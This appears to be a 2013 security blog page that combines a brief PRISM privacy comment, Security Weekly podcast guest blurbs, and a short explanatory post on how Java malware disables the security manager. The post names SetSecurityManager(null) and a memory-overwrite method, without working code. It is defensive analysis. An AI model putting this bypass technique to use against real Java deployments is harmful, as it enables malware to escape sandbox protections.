As with many big information leaks, the emotions and politics quickly take hold and begin to dominate the argument. Veterans of the Internet are largely not surprised by the PRISM news, due to fleeting memory of ECHELON, Carnivore, and likely other initiatives that never came to light. Regardless, the PRISM program represents a serious threat to individual privacy and every citizen should be concerned.

Written by eabsetz

Andy Ellis, Software Restriction Policies, Drunken Security News – Episode 334 – June 6, 2013

Andy Ellis is Akamai's Chief Security Officer, responsible for overseeing the security architecture and compliance of the company's massive, globally distributed network. He is the designer and patentholder of Akamai's SSL acceleration network, as well as several of the critical technologies underpinning the company's Kona Security Solutions.

Greg is an Intern with Security Weekly and a Senior Security Engineer for a financial services firm. Greg specializes in Vulnerability management, penetration testing and security architecture. He's on tonight to cover his blog post on Windows Software Restriction Policies.

Chris Tuncer on Veil, Drunken Security News – Episode 333 – May 30, 2013

Chris Truncer is a Penetration Tester at Veris Group where he performs a variety of assessments for Federal and commercial customers. Currently Chris is supporting DHS and their development of a operational Penetration Testing team to support civilian government agencies. He currently helps to develop the overall program while also leading pen testing teams for other customers. His specialties include wireless network assessments and network level penetration testing. Recently, Chris became interested AV evasion methods, which led to the development of Veil.

Get Set Null Java Security

Java, being widely used by the applications, has also been actively targeted by malware authors. One of the most common techniques to exploit Java applications, is to disable the security manager. This blog provides widely used logic used by malware authors to disable the security manager.

Per the Java tutorial:

‘A security manager is an object that defines a security policy for an application. This policy specifies actions that are unsafe or sensitive. Any actions not allowed by the security policy cause a SecurityException to be thrown. An application can also query its security manager to discover which actions are allowed.’

Once an application has a reference to the security manager object, it can request permission to do specific things. For example, System.exit, which terminates the Java virtual machine with an exit status, invokes SecurityManager.checkExit to ensure that the current thread has permission to shut down the application.

One very common technique used by malware authors to exploit Java is to disable the security manager. Once the security manager has been disabled, the next steps may involve loading a malicious executable or connecting to a malicious website.

One of the common calls which generally appear in a malicious jar to disable security manager is SetSecurityManager(null). Besides making a direct call to SetSecurityManager, there can be other approaches for example locating the address of  java/lang/system and using it to disable the security manager. Basically, once the address has been located, memory is traversed until the address of getSecurityManager() is located.  wrmMem() function is then called and null is written directly to the address of getSecurityManager(), thus disabling the security manager.

For more information regarding the pseudo code and exploitation of a vulnerability to disable a security manager, we encourage our readers to refer to recently published article in Virus Bulletin June 2013 issue.